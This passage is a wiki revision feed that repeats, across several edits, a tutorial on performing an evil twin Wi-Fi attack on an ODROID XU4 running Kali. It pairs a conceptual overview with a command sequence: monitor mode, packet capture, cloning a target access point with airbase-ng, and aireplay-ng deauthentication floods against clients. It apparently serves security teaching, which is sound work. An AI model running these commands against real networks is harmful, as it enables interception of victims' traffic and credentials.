=== Error handling ===&lt;br /&gt;
&lt;br /&gt;
If neither disconnecting all clients nor disconnecting a specific client worked, you can check if the card supports injection:&lt;br /&gt;
 sudo aireplay-ng --test &amp;lt;interface&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
* https://wiki.odroid.com/odroid-xu4/odroid-xu4&lt;br /&gt;
* https://www.offensive-security.com/kali-linux-arm-images/&lt;br /&gt;
* https://www.kalitutorials.net/2014/07/evil-twin-tutorial.html &lt;br /&gt;
[[Category:Documentation]]&lt;/div&gt;</summary>
		<author><name>JHangstein</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=Evil_Twin_Attack_via_Kali_on_Odroid_XU4&amp;diff=10484</id>
		<title>Evil Twin Attack via Kali on Odroid XU4</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=Evil_Twin_Attack_via_Kali_on_Odroid_XU4&amp;diff=10484"/>
		<updated>2023-01-01T18:55:19Z</updated>

		<summary type="html">&lt;p&gt;JHangstein: /* Step 1: Download */  Grammar.&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Summary == &lt;br /&gt;
&lt;br /&gt;
The Evil Twin (ET) Attack is a type of [https://en.wikipedia.org/wiki/Man-in-the-middle_attack Machine-in-the-Middle] (MitM) attack that is carried out via WiFi. The basic premise of the attack is to fool victims into thinking they are connecting to a legitimate access point (AP), when in fact they are connecting to the &amp;quot;evil twin&amp;quot; AP.&lt;br /&gt;
&lt;br /&gt;
The goal of the attack usually coincides with the typical goals of any MitM attack. As every traffic leaving the local network to be routed over the internet leaves the LAN over the default gateway, an attacker can intercept all outgoing traffic when a client is connected to the ET. Attackers then redirect the traffic received by the victim to the legitimate gateway, posing as the victim machine. Network traffic now flows like normal, but via the attacker. Endpoints can still communicate with each other like before, but the victim&#039;s data is now at the attacker’s mercy. This data can be passwords or entire sessions to access e-mail accounts or social networks.&lt;br /&gt;
When considering the attack by comparing it against the CIA Triad, the implications are massive. An attacker in this position can compromise confidentiality by eavesdropping, and integrity by message modification. They can also intercept, modify, or destroy the messages to compromise availability.&lt;br /&gt;
&lt;br /&gt;
The attack is conducted as follows: First, the attacker has to figure out which access point the intended victim is using. In the case no specific victim is targeted, attackers could also choose a commonly used access point like a public WiFi hotspot. If the access point that is going to be impersonated is fixated, in a second step the attacker has to take note of the APs Service Set Identification (SSID) number, and the Basic Service Set Identification (BSSID) number. The SSID is the name that is displayed for users trying to connect to a WiFi AP, while the BSSID is the physical MAC address of said AP. This is no complicated feat, as access points send out these two numbers constantly to allow users to connect. Following this premise, if the attacker sends out this information themselves, the evil twin will show up on the victim&#039;s device in the list of access points to connect to, with the same SSID and BSSID as the legitimate access point. With appropriate tools that will be described in more detail below, clients can be disconnected from the legitimate AP. The goal is to then broadcast with a stronger signal than the legitimate access point, fooling users to connect to the &amp;quot;best&amp;quot; available access point.&lt;br /&gt;
&lt;br /&gt;
If the original access point is password protected, according measures need to be taken. Password protected access points are not immune to Evil Twin Attacks, especially when dealing with access points with easily obtainable passwords. This includes cafés, hotels, and similar institutions that tend to share their provided access point&#039;s password with their customer base. But even a private WiFi hotspot&#039;s password can be obtained through social engineering attacks without much sophistication. For example, attackers innocently asking for a WiFi password can fool a person knowing the password into giving it up. Another possibility is capturing a WPA handshake between the legitimate AP and a client and cracking the transmitted hash. In any case, as soon as the password is obtained, it can be added to the evil twin configuration.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Requirements/Hardware==&lt;br /&gt;
&lt;br /&gt;
Operating system: [https://www.offensive-security.com/kali-linux-arm-images/ Kali Linux ODROID-XU3]&lt;br /&gt;
&lt;br /&gt;
Hardware: &lt;br /&gt;
* Exisiting WiFi hotspot for impersonation&lt;br /&gt;
* Client connected to WiFi hotspot&lt;br /&gt;
* ODROID XU4 single-board computer (incl. power supply unit 5V/4A)&lt;br /&gt;
* eMMC (min. 8GB)&lt;br /&gt;
* microSD (min. 8GB) &lt;br /&gt;
* microSD to USB adapter&lt;br /&gt;
* Mouse&lt;br /&gt;
* Keyboard&lt;br /&gt;
* Monitor (via HDMI)&lt;br /&gt;
* Two WiFi adapters (e.g. Alfa AWUS036EAC)&lt;br /&gt;
&lt;br /&gt;
== Installing Kali on ODROID XU4 ==&lt;br /&gt;
&lt;br /&gt;
=== Step 1: Download ===&lt;br /&gt;
&lt;br /&gt;
Download the Kali image. The ODROID XU4 OS is very similar to the ODROID XU3 OS, thus the OS of XU3 can be used for a XU4 board.&lt;br /&gt;
&lt;br /&gt;
=== Step 2: Preparation ===&lt;br /&gt;
&#039;&#039;&#039;Note:&#039;&#039;&#039; It is recommended to use Balena Etcher, as it works for different OS and does the two steps of formatting and flashing in the same process.&lt;br /&gt;
&lt;br /&gt;
* Insert the microSD card into you PC (if required use the adapter)&lt;br /&gt;
* Format the microSD card with [https://www.balena.io/etcher/ Balena Etcher] or [https://sd-card-formatter.de.uptodown.com/windows SD Fortmatter]. If you use SD Formatter: Don&#039;t forget to check &amp;quot;Format Size Adjustment&amp;quot; in &amp;quot;Options&amp;quot;.&lt;br /&gt;
* Flash the OS to the microSD card. Required: A program to create bootable devices, e.g. [https://win32diskimager.download/ Win32 Disk Imager for Windows].&lt;br /&gt;
&lt;br /&gt;
=== Step 3: Installing ===&lt;br /&gt;
For the following steps you might need the [https://magazine.odroid.com/wp-content/uploads/odroid-xu4-user-manual.pdf manual for ODROID XU4] to see where the mentioned parts are located.&lt;br /&gt;
* Stick the eMMC to the ODROID XU4 &lt;br /&gt;
* Switch the Boot Mode Selector to &amp;quot;microSD&amp;quot;&lt;br /&gt;
* Put in the microSD card&lt;br /&gt;
* Attach mouse, keyboard and monitor to the XU4. Make sure that all of them are attached before booting - otherwise you will receive a kernel error.&lt;br /&gt;
* After that: attach the power supply.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
If all steps were performed correctly:&lt;br /&gt;
* The fan of the ODROID XU4 starts&lt;br /&gt;
* The blue LED should be on (solid light): bootloader running.&lt;br /&gt;
* Monitor should display booting. &lt;br /&gt;
This can take a while.&lt;br /&gt;
&lt;br /&gt;
 Username: kali&lt;br /&gt;
 Password: kali&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
States of the ODROID XU4 LED:&lt;br /&gt;
* red LED: is on when power is available&lt;br /&gt;
* blue LED (solid): when the bootloader is running&lt;br /&gt;
* blue LED (blinks slowly, like a heartbeat): kernel is running&lt;br /&gt;
* blue LED (blinks fast): kernel is in panic mode&lt;br /&gt;
&lt;br /&gt;
== Performing Evil Twin on ODROID XU4 ==&lt;br /&gt;
&#039;&#039;&#039;First, add the WiFi adapter to the XU4, reboot and check if it is recognized:&#039;&#039;&#039;&lt;br /&gt;
 sudo reboot&lt;br /&gt;
 sudo ifconfg&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;See the available interfaces&#039;&#039;&#039;&lt;br /&gt;
 sudo iwconfig &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Check status of wireless interfaces&#039;&#039;&#039;&lt;br /&gt;
 sudo airmon-ng&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Start monitor mode on the available wireless interface&#039;&#039;&#039;.&lt;br /&gt;
 sudo airmon-ng start &amp;lt;interface&amp;gt; &amp;lt;channel&amp;gt;&lt;br /&gt;
Cue: Output has to contain &amp;quot;monitor mode enabled&amp;quot;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Eventually kill processes and execute command again&#039;&#039;&#039;&lt;br /&gt;
 sudo airmon-ng check kill&lt;br /&gt;
 sudo airmon-ng start &amp;lt;interface&amp;gt; &amp;lt;channel&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Capture packets&#039;&#039;&#039;&lt;br /&gt;
 sudo airodump-ng &amp;lt;interface&amp;gt; -c &amp;lt;channel&amp;gt;&lt;br /&gt;
After 30-40 seconds, press ctrl+c and leave the terminal as it is and open a new one.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Creating the twin&#039;&#039;&#039;&lt;br /&gt;
 sudo airbase-ng -a &amp;lt;BSSID&amp;gt; --essid &amp;lt;ESSID&amp;gt; -c &amp;lt;channel&amp;gt; &amp;lt;interface&amp;gt;&lt;br /&gt;
The data is taken from the previous output and these are required to trick the victim. After running the command, airebase turned the wireless adapter into an access point. Open a new terminal.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
In the next step the client and the XU4 will lose the connection to the internet. Because the WiFi Adapter of XU4 is busy acting like an access point, it either needs a second WiFi adapter or an ethernet connection to the internet.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Telling the Client to get lost&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Disconnect all Clients:&lt;br /&gt;
 sudo aireplay-ng --deauth 0 -a &amp;lt;BSSID&amp;gt; &amp;lt;interface&amp;gt;--ignore-negative-one&lt;br /&gt;
The &amp;quot;0&amp;quot; indicates how fast the deauthentication packets will be sent (in seconds). 0 is the fastest option.&lt;br /&gt;
But this command sometimes doesn&#039;t work because it could produce a broadcast storm, so some WiFi routers filter them.&lt;br /&gt;
&lt;br /&gt;
Disconnect a specific client:&lt;br /&gt;
First run the airodump-ng command again, but with BSSID of router to receive the MAC address of the client:&lt;br /&gt;
 sudo airodump-ng wlan0 --bssid &amp;lt;routers BSSID&amp;gt; -c &amp;lt;routers channel&amp;gt;&lt;br /&gt;
Then execute the deauth-command:&lt;br /&gt;
 sudo aireplay-ng --deauth 0 -c &amp;lt;devices MAC address&amp;gt; -a &amp;lt;routers MAC address&amp;gt; interface&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Error handling&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
If neither disconnecting all clients nor disconnecting a specific client worked, you can check if the card supports injection:&lt;br /&gt;
 sudo aireplay-ng --test wlan0&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
* https://wiki.odroid.com/odroid-xu4/odroid-xu4&lt;br /&gt;
* https://www.offensive-security.com/kali-linux-arm-images/&lt;br /&gt;
* https://www.kalitutorials.net/2014/07/evil-twin-tutorial.html &lt;br /&gt;
[[Category:Documentation]]&lt;/div&gt;</summary>
		<author><name>JHangstein</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=Evil_Twin_Attack_via_Kali_on_Odroid_XU4&amp;diff=10483</id>
		<title>Evil Twin Attack via Kali on Odroid XU4</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=Evil_Twin_Attack_via_Kali_on_Odroid_XU4&amp;diff=10483"/>
		<updated>2023-01-01T18:54:25Z</updated>

		<summary type="html">&lt;p&gt;JHangstein: /* Step 2: Preparation */  Updated tools and instructions.&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Summary == &lt;br /&gt;
&lt;br /&gt;
The Evil Twin (ET) Attack is a type of [https://en.wikipedia.org/wiki/Man-in-the-middle_attack Machine-in-the-Middle] (MitM) attack that is carried out via WiFi. The basic premise of the attack is to fool victims into thinking they are connecting to a legitimate access point (AP), when in fact they are connecting to the &amp;quot;evil twin&amp;quot; AP.&lt;br /&gt;
&lt;br /&gt;
The goal of the attack usually coincides with the typical goals of any MitM attack. As every traffic leaving the local network to be routed over the internet leaves the LAN over the default gateway, an attacker can intercept all outgoing traffic when a client is connected to the ET. Attackers then redirect the traffic received by the victim to the legitimate gateway, posing as the victim machine. Network traffic now flows like normal, but via the attacker. Endpoints can still communicate with each other like before, but the victim&#039;s data is now at the attacker’s mercy. This data can be passwords or entire sessions to access e-mail accounts or social networks.&lt;br /&gt;
When considering the attack by comparing it against the CIA Triad, the implications are massive. An attacker in this position can compromise confidentiality by eavesdropping, and integrity by message modification. They can also intercept, modify, or destroy the messages to compromise availability.&lt;br /&gt;
&lt;br /&gt;
The attack is conducted as follows: First, the attacker has to figure out which access point the intended victim is using. In the case no specific victim is targeted, attackers could also choose a commonly used access point like a public WiFi hotspot. If the access point that is going to be impersonated is fixated, in a second step the attacker has to take note of the APs Service Set Identification (SSID) number, and the Basic Service Set Identification (BSSID) number. The SSID is the name that is displayed for users trying to connect to a WiFi AP, while the BSSID is the physical MAC address of said AP. This is no complicated feat, as access points send out these two numbers constantly to allow users to connect. Following this premise, if the attacker sends out this information themselves, the evil twin will show up on the victim&#039;s device in the list of access points to connect to, with the same SSID and BSSID as the legitimate access point. With appropriate tools that will be described in more detail below, clients can be disconnected from the legitimate AP. The goal is to then broadcast with a stronger signal than the legitimate access point, fooling users to connect to the &amp;quot;best&amp;quot; available access point.&lt;br /&gt;
&lt;br /&gt;
If the original access point is password protected, according measures need to be taken. Password protected access points are not immune to Evil Twin Attacks, especially when dealing with access points with easily obtainable passwords. This includes cafés, hotels, and similar institutions that tend to share their provided access point&#039;s password with their customer base. But even a private WiFi hotspot&#039;s password can be obtained through social engineering attacks without much sophistication. For example, attackers innocently asking for a WiFi password can fool a person knowing the password into giving it up. Another possibility is capturing a WPA handshake between the legitimate AP and a client and cracking the transmitted hash. In any case, as soon as the password is obtained, it can be added to the evil twin configuration.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Requirements/Hardware==&lt;br /&gt;
&lt;br /&gt;
Operating system: [https://www.offensive-security.com/kali-linux-arm-images/ Kali Linux ODROID-XU3]&lt;br /&gt;
&lt;br /&gt;
Hardware: &lt;br /&gt;
* Exisiting WiFi hotspot for impersonation&lt;br /&gt;
* Client connected to WiFi hotspot&lt;br /&gt;
* ODROID XU4 single-board computer (incl. power supply unit 5V/4A)&lt;br /&gt;
* eMMC (min. 8GB)&lt;br /&gt;
* microSD (min. 8GB) &lt;br /&gt;
* microSD to USB adapter&lt;br /&gt;
* Mouse&lt;br /&gt;
* Keyboard&lt;br /&gt;
* Monitor (via HDMI)&lt;br /&gt;
* Two WiFi adapters (e.g. Alfa AWUS036EAC)&lt;br /&gt;
&lt;br /&gt;
== Installing Kali on ODROID XU4 ==&lt;br /&gt;
&lt;br /&gt;
=== Step 1: Download ===&lt;br /&gt;
&lt;br /&gt;
Download the Kali image. The ODROID XU4 is very similar to the ODROID XU3 thus the OS of XU3 can be used for XU4 too.&lt;br /&gt;
&lt;br /&gt;
=== Step 2: Preparation ===&lt;br /&gt;
&#039;&#039;&#039;Note:&#039;&#039;&#039; It is recommended to use Balena Etcher, as it works for different OS and does the two steps of formatting and flashing in the same process.&lt;br /&gt;
&lt;br /&gt;
* Insert the microSD card into you PC (if required use the adapter)&lt;br /&gt;
* Format the microSD card with [https://www.balena.io/etcher/ Balena Etcher] or [https://sd-card-formatter.de.uptodown.com/windows SD Fortmatter]. If you use SD Formatter: Don&#039;t forget to check &amp;quot;Format Size Adjustment&amp;quot; in &amp;quot;Options&amp;quot;.&lt;br /&gt;
* Flash the OS to the microSD card. Required: A program to create bootable devices, e.g. [https://win32diskimager.download/ Win32 Disk Imager for Windows].&lt;br /&gt;
&lt;br /&gt;
=== Step 3: Installing ===&lt;br /&gt;
For the following steps you might need the [https://magazine.odroid.com/wp-content/uploads/odroid-xu4-user-manual.pdf manual for ODROID XU4] to see where the mentioned parts are located.&lt;br /&gt;
* Stick the eMMC to the ODROID XU4 &lt;br /&gt;
* Switch the Boot Mode Selector to &amp;quot;microSD&amp;quot;&lt;br /&gt;
* Put in the microSD card&lt;br /&gt;
* Attach mouse, keyboard and monitor to the XU4. Make sure that all of them are attached before booting - otherwise you will receive a kernel error.&lt;br /&gt;
* After that: attach the power supply.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
If all steps were performed correctly:&lt;br /&gt;
* The fan of the ODROID XU4 starts&lt;br /&gt;
* The blue LED should be on (solid light): bootloader running.&lt;br /&gt;
* Monitor should display booting. &lt;br /&gt;
This can take a while.&lt;br /&gt;
&lt;br /&gt;
 Username: kali&lt;br /&gt;
 Password: kali&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
States of the ODROID XU4 LED:&lt;br /&gt;
* red LED: is on when power is available&lt;br /&gt;
* blue LED (solid): when the bootloader is running&lt;br /&gt;
* blue LED (blinks slowly, like a heartbeat): kernel is running&lt;br /&gt;
* blue LED (blinks fast): kernel is in panic mode&lt;br /&gt;
&lt;br /&gt;
== Performing Evil Twin on ODROID XU4 ==&lt;br /&gt;
&#039;&#039;&#039;First, add the WiFi adapter to the XU4, reboot and check if it is recognized:&#039;&#039;&#039;&lt;br /&gt;
 sudo reboot&lt;br /&gt;
 sudo ifconfg&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;See the available interfaces&#039;&#039;&#039;&lt;br /&gt;
 sudo iwconfig &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Check status of wireless interfaces&#039;&#039;&#039;&lt;br /&gt;
 sudo airmon-ng&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Start monitor mode on the available wireless interface&#039;&#039;&#039;.&lt;br /&gt;
 sudo airmon-ng start &amp;lt;interface&amp;gt; &amp;lt;channel&amp;gt;&lt;br /&gt;
Cue: Output has to contain &amp;quot;monitor mode enabled&amp;quot;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Eventually kill processes and execute command again&#039;&#039;&#039;&lt;br /&gt;
 sudo airmon-ng check kill&lt;br /&gt;
 sudo airmon-ng start &amp;lt;interface&amp;gt; &amp;lt;channel&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Capture packets&#039;&#039;&#039;&lt;br /&gt;
 sudo airodump-ng &amp;lt;interface&amp;gt; -c &amp;lt;channel&amp;gt;&lt;br /&gt;
After 30-40 seconds, press ctrl+c and leave the terminal as it is and open a new one.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Creating the twin&#039;&#039;&#039;&lt;br /&gt;
 sudo airbase-ng -a &amp;lt;BSSID&amp;gt; --essid &amp;lt;ESSID&amp;gt; -c &amp;lt;channel&amp;gt; &amp;lt;interface&amp;gt;&lt;br /&gt;
The data is taken from the previous output and these are required to trick the victim. After running the command, airebase turned the wireless adapter into an access point. Open a new terminal.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
In the next step the client and the XU4 will lose the connection to the internet. Because the WiFi Adapter of XU4 is busy acting like an access point, it either needs a second WiFi adapter or an ethernet connection to the internet.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Telling the Client to get lost&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Disconnect all Clients:&lt;br /&gt;
 sudo aireplay-ng --deauth 0 -a &amp;lt;BSSID&amp;gt; &amp;lt;interface&amp;gt;--ignore-negative-one&lt;br /&gt;
The &amp;quot;0&amp;quot; indicates how fast the deauthentication packets will be sent (in seconds). 0 is the fastest option.&lt;br /&gt;
But this command sometimes doesn&#039;t work because it could produce a broadcast storm, so some WiFi routers filter them.&lt;br /&gt;
&lt;br /&gt;
Disconnect a specific client:&lt;br /&gt;
First run the airodump-ng command again, but with BSSID of router to receive the MAC address of the client:&lt;br /&gt;
 sudo airodump-ng wlan0 --bssid &amp;lt;routers BSSID&amp;gt; -c &amp;lt;routers channel&amp;gt;&lt;br /&gt;
Then execute the deauth-command:&lt;br /&gt;
 sudo aireplay-ng --deauth 0 -c &amp;lt;devices MAC address&amp;gt; -a &amp;lt;routers MAC address&amp;gt; interface&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Error handling&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
If neither disconnecting all clients nor disconnecting a specific client worked, you can check if the card supports injection:&lt;br /&gt;
 sudo aireplay-ng --test wlan0&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
* https://wiki.odroid.com/odroid-xu4/odroid-xu4&lt;br /&gt;
* https://www.offensive-security.com/kali-linux-arm-images/&lt;br /&gt;
* https://www.kalitutorials.net/2014/07/evil-twin-tutorial.html &lt;br /&gt;
[[Category:Documentation]]&lt;/div&gt;</summary>
		<author><name>JHangstein</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=Evil_Twin_Attack_via_Kali_on_Odroid_XU4&amp;diff=10482</id>
		<title>Evil Twin Attack via Kali on Odroid XU4</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=Evil_Twin_Attack_via_Kali_on_Odroid_XU4&amp;diff=10482"/>
		<updated>2023-01-01T18:47:47Z</updated>

		<summary type="html">&lt;p&gt;JHangstein: Fixed link formatting.&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Summary == &lt;br /&gt;
&lt;br /&gt;
The Evil Twin (ET) Attack is a type of [https://en.wikipedia.org/wiki/Man-in-the-middle_attack Machine-in-the-Middle] (MitM) attack that is carried out via WiFi. The basic premise of the attack is to fool victims into thinking they are connecting to a legitimate access point (AP), when in fact they are connecting to the &amp;quot;evil twin&amp;quot; AP.&lt;br /&gt;
&lt;br /&gt;
The goal of the attack usually coincides with the typical goals of any MitM attack. As every traffic leaving the local network to be routed over the internet leaves the LAN over the default gateway, an attacker can intercept all outgoing traffic when a client is connected to the ET. Attackers then redirect the traffic received by the victim to the legitimate gateway, posing as the victim machine. Network traffic now flows like normal, but via the attacker. Endpoints can still communicate with each other like before, but the victim&#039;s data is now at the attacker’s mercy. This data can be passwords or entire sessions to access e-mail accounts or social networks.&lt;br /&gt;
When considering the attack by comparing it against the CIA Triad, the implications are massive. An attacker in this position can compromise confidentiality by eavesdropping, and integrity by message modification. They can also intercept, modify, or destroy the messages to compromise availability.&lt;br /&gt;
&lt;br /&gt;
The attack is conducted as follows: First, the attacker has to figure out which access point the intended victim is using. In the case no specific victim is targeted, attackers could also choose a commonly used access point like a public WiFi hotspot. If the access point that is going to be impersonated is fixated, in a second step the attacker has to take note of the APs Service Set Identification (SSID) number, and the Basic Service Set Identification (BSSID) number. The SSID is the name that is displayed for users trying to connect to a WiFi AP, while the BSSID is the physical MAC address of said AP. This is no complicated feat, as access points send out these two numbers constantly to allow users to connect. Following this premise, if the attacker sends out this information themselves, the evil twin will show up on the victim&#039;s device in the list of access points to connect to, with the same SSID and BSSID as the legitimate access point. With appropriate tools that will be described in more detail below, clients can be disconnected from the legitimate AP. The goal is to then broadcast with a stronger signal than the legitimate access point, fooling users to connect to the &amp;quot;best&amp;quot; available access point.&lt;br /&gt;
&lt;br /&gt;
If the original access point is password protected, according measures need to be taken. Password protected access points are not immune to Evil Twin Attacks, especially when dealing with access points with easily obtainable passwords. This includes cafés, hotels, and similar institutions that tend to share their provided access point&#039;s password with their customer base. But even a private WiFi hotspot&#039;s password can be obtained through social engineering attacks without much sophistication. For example, attackers innocently asking for a WiFi password can fool a person knowing the password into giving it up. Another possibility is capturing a WPA handshake between the legitimate AP and a client and cracking the transmitted hash. In any case, as soon as the password is obtained, it can be added to the evil twin configuration.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Requirements/Hardware==&lt;br /&gt;
&lt;br /&gt;
Operating system: [https://www.offensive-security.com/kali-linux-arm-images/ Kali Linux ODROID-XU3]&lt;br /&gt;
&lt;br /&gt;
Hardware: &lt;br /&gt;
* Exisiting WiFi hotspot for impersonation&lt;br /&gt;
* Client connected to WiFi hotspot&lt;br /&gt;
* ODROID XU4 single-board computer (incl. power supply unit 5V/4A)&lt;br /&gt;
* eMMC (min. 8GB)&lt;br /&gt;
* microSD (min. 8GB) &lt;br /&gt;
* microSD to USB adapter&lt;br /&gt;
* Mouse&lt;br /&gt;
* Keyboard&lt;br /&gt;
* Monitor (via HDMI)&lt;br /&gt;
* Two WiFi adapters (e.g. Alfa AWUS036EAC)&lt;br /&gt;
&lt;br /&gt;
== Installing Kali on ODROID XU4 ==&lt;br /&gt;
&lt;br /&gt;
=== Step 1: Download ===&lt;br /&gt;
&lt;br /&gt;
Download the Kali image. The ODROID XU4 is very similar to the ODROID XU3 thus the OS of XU3 can be used for XU4 too.&lt;br /&gt;
&lt;br /&gt;
=== Step 2: Preparation ===&lt;br /&gt;
* Insert the microSD card into you PC (if required use the adapter)&lt;br /&gt;
* Format the microSD card with e.g. [https://sd-card-formatter.de.uptodown.com/windows SD Fortmatter]. If you use &amp;quot;SD Formatter&amp;quot;: don&#039;t forget to check &amp;quot;Format Size Adjustment&amp;quot; in &amp;quot;Options&amp;quot;.&lt;br /&gt;
* Add the OS to the microSD card. Required: a program to create bootable devices, e.g. [https://win32diskimager.download/ Win32 Disk Imager for Windows].&lt;br /&gt;
&lt;br /&gt;
=== Step 3: Installing ===&lt;br /&gt;
For the following steps you might need the [https://magazine.odroid.com/wp-content/uploads/odroid-xu4-user-manual.pdf manual for ODROID XU4] to see where the mentioned parts are located.&lt;br /&gt;
* Stick the eMMC to the ODROID XU4 &lt;br /&gt;
* Switch the Boot Mode Selector to &amp;quot;microSD&amp;quot;&lt;br /&gt;
* Put in the microSD card&lt;br /&gt;
* Attach mouse, keyboard and monitor to the XU4. Make sure that all of them are attached before booting - otherwise you will receive a kernel error.&lt;br /&gt;
* After that: attach the power supply.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
If all steps were performed correctly:&lt;br /&gt;
* The fan of the ODROID XU4 starts&lt;br /&gt;
* The blue LED should be on (solid light): bootloader running.&lt;br /&gt;
* Monitor should display booting. &lt;br /&gt;
This can take a while.&lt;br /&gt;
&lt;br /&gt;
 Username: kali&lt;br /&gt;
 Password: kali&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
States of the ODROID XU4 LED:&lt;br /&gt;
* red LED: is on when power is available&lt;br /&gt;
* blue LED (solid): when the bootloader is running&lt;br /&gt;
* blue LED (blinks slowly, like a heartbeat): kernel is running&lt;br /&gt;
* blue LED (blinks fast): kernel is in panic mode&lt;br /&gt;
&lt;br /&gt;
== Performing Evil Twin on ODROID XU4 ==&lt;br /&gt;
&#039;&#039;&#039;First, add the WiFi adapter to the XU4, reboot and check if it is recognized:&#039;&#039;&#039;&lt;br /&gt;
 sudo reboot&lt;br /&gt;
 sudo ifconfg&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;See the available interfaces&#039;&#039;&#039;&lt;br /&gt;
 sudo iwconfig &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Check status of wireless interfaces&#039;&#039;&#039;&lt;br /&gt;
 sudo airmon-ng&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Start monitor mode on the available wireless interface&#039;&#039;&#039;.&lt;br /&gt;
 sudo airmon-ng start &amp;lt;interface&amp;gt; &amp;lt;channel&amp;gt;&lt;br /&gt;
Cue: Output has to contain &amp;quot;monitor mode enabled&amp;quot;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Eventually kill processes and execute command again&#039;&#039;&#039;&lt;br /&gt;
 sudo airmon-ng check kill&lt;br /&gt;
 sudo airmon-ng start &amp;lt;interface&amp;gt; &amp;lt;channel&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Capture packets&#039;&#039;&#039;&lt;br /&gt;
 sudo airodump-ng &amp;lt;interface&amp;gt; -c &amp;lt;channel&amp;gt;&lt;br /&gt;
After 30-40 seconds, press ctrl+c and leave the terminal as it is and open a new one.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Creating the twin&#039;&#039;&#039;&lt;br /&gt;
 sudo airbase-ng -a &amp;lt;BSSID&amp;gt; --essid &amp;lt;ESSID&amp;gt; -c &amp;lt;channel&amp;gt; &amp;lt;interface&amp;gt;&lt;br /&gt;
The data is taken from the previous output and these are required to trick the victim. After running the command, airebase turned the wireless adapter into an access point. Open a new terminal.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
In the next step the client and the XU4 will lose the connection to the internet. Because the WiFi Adapter of XU4 is busy acting like an access point, it either needs a second WiFi adapter or an ethernet connection to the internet.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Telling the Client to get lost&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Disconnect all Clients:&lt;br /&gt;
 sudo aireplay-ng --deauth 0 -a &amp;lt;BSSID&amp;gt; &amp;lt;interface&amp;gt;--ignore-negative-one&lt;br /&gt;
The &amp;quot;0&amp;quot; indicates how fast the deauthentication packets will be sent (in seconds). 0 is the fastest option.&lt;br /&gt;
But this command sometimes doesn&#039;t work because it could produce a broadcast storm, so some WiFi routers filter them.&lt;br /&gt;
&lt;br /&gt;
Disconnect a specific client:&lt;br /&gt;
First run the airodump-ng command again, but with BSSID of router to receive the MAC address of the client:&lt;br /&gt;
 sudo airodump-ng wlan0 --bssid &amp;lt;routers BSSID&amp;gt; -c &amp;lt;routers channel&amp;gt;&lt;br /&gt;
Then execute the deauth-command:&lt;br /&gt;
 sudo aireplay-ng --deauth 0 -c &amp;lt;devices MAC address&amp;gt; -a &amp;lt;routers MAC address&amp;gt; interface&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Error handling&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
